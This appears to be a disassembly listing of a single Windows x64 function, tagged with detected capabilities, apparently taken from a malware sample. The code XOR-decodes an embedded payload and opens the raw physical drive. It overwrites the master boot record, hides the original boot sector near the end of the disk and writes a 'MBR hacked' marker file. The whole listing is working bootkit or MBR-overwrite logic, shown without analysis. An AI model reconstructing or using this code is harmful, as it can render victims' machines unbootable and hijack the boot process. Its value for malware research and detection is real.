Function at 0x140002720
Capabilities:
Encode data using xor
Print debug messages
Read file on windows
Write file on windows

Disassembly:
jmp 0x140002720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14000c088]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor r15d, r15d
lea rcx, str.C:MBRaaa.txt
mov qword [rsp + 0x30], r15
mov edi, 3
mov dword [rsp + 0x28], r15d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140002bfa
movdqa xmm2, xmmword [0x140008e00]
lea rdx, [0x14000b010]
mov ecx, r15d
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x10]
lea rdx, [rdx + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rdx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rdx - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rdx - 0x30], xmm1
movdqu xmm0, xmmword [rdx - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rdx - 0x20], xmm0
cmp ecx, 0xd80
jb 0x1400027b0
lea rbx, section..data
cmp ecx, 0xdb8
jae 0x140002831
movsxd rdx, ecx
add rdx, rbx
nop dword [rax + rax]
xor byte [rdx], 0x7b
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0xdb8
jb 0x140002820
mov ecx, 0xdb8
call fcn.1400011ef
mov r8d, 0xdb8
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x30], r15
lea rcx, str..PHYSICALDRIVE0
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov r8d, edi
mov dword [rsp + 0x20], edi
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000289d
lea rcx, str.Open_Drive0_Failed_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [rbx + 2]
mov rcx, rsi
call fcn.14000103c
xor eax, eax
jmp 0x140002c08
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x140002c46
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp + 0x190]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002c46
lea rax, [rbp - 0x70]
mov edx, 4
lea rcx, [rbp + 0x190]
nop
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400028f0
mov rdx, rsi
lea rax, [rbp - 0x70]
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rdi, 1
jne 0x140002950
movups xmm0, xmmword [rdx]
xor r9d, r9d
xor r8d, r8d
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
mov rcx, qword [rdx + 0x30]
mov qword [rax + 0x30], rcx
mov ecx, dword [rdx + 0x38]
mov dword [rax + 0x38], ecx
movzx ecx, word [rdx + 0x3c]
xor edx, edx
mov word [rax + 0x3c], cx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov qword [rsp + 0x60], rax
mov edx, 0x700a0
mov qword [rsp + 0x68], rax
mov rcx, rbx
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x28
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rsp + 0x68]
xor r9d, r9d
cqo
mov dword [rsp + 0x40], r15d
and edx, 0x1ff
xor r8d, r8d
add rdx, rax
mov rcx, rbx
sar rdx, 9
sub rdx, 0xa
shl rdx, 9
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp + 0x190]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002c3d
mov rax, qword [rsp + 0x68]
xor r9d, r9d
cqo
xor r8d, r8d
and edx, 0x1ff
mov rcx, rbx
add rdx, rax
sar rdx, 9
sub rdx, 9
shl rdx, 9
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea rdx, [rsi + 0x200]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
mov r8d, 0xc00
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002c34
mov rax, qword [rsp + 0x68]
xor r9d, r9d
cqo
xor r8d, r8d
and edx, 0x1ff
mov rcx, rbx
add rdx, rax
sar rdx, 9
sub rdx, 0xb
shl rdx, 9
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002c34
lea edx, [rdi + 1]
mov rcx, rsi
call fcn.14000103c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [0x140008d78]
lea rcx, str.C:MBR.txt
movsd xmm0, qword [str.MBR_hacked]
xor r9d, r9d
mov word [rbp - 0x80], ax
xor r8d, r8d
movzx eax, byte [0x140008d7a]
mov edx, 0x40000000
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov byte [rbp - 0x7e], al
movsd qword [rsp + 0x78], xmm0
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002bf1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140002bd0
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r15
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14000108c
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rcx, str.Write_Other_Failed_
jmp 0x140002c4d
lea rcx, [0x140008d40]
jmp 0x140002c4d
lea rcx, [0x140008d28]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, 1
mov rcx, rsi
call fcn.14000103c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002c08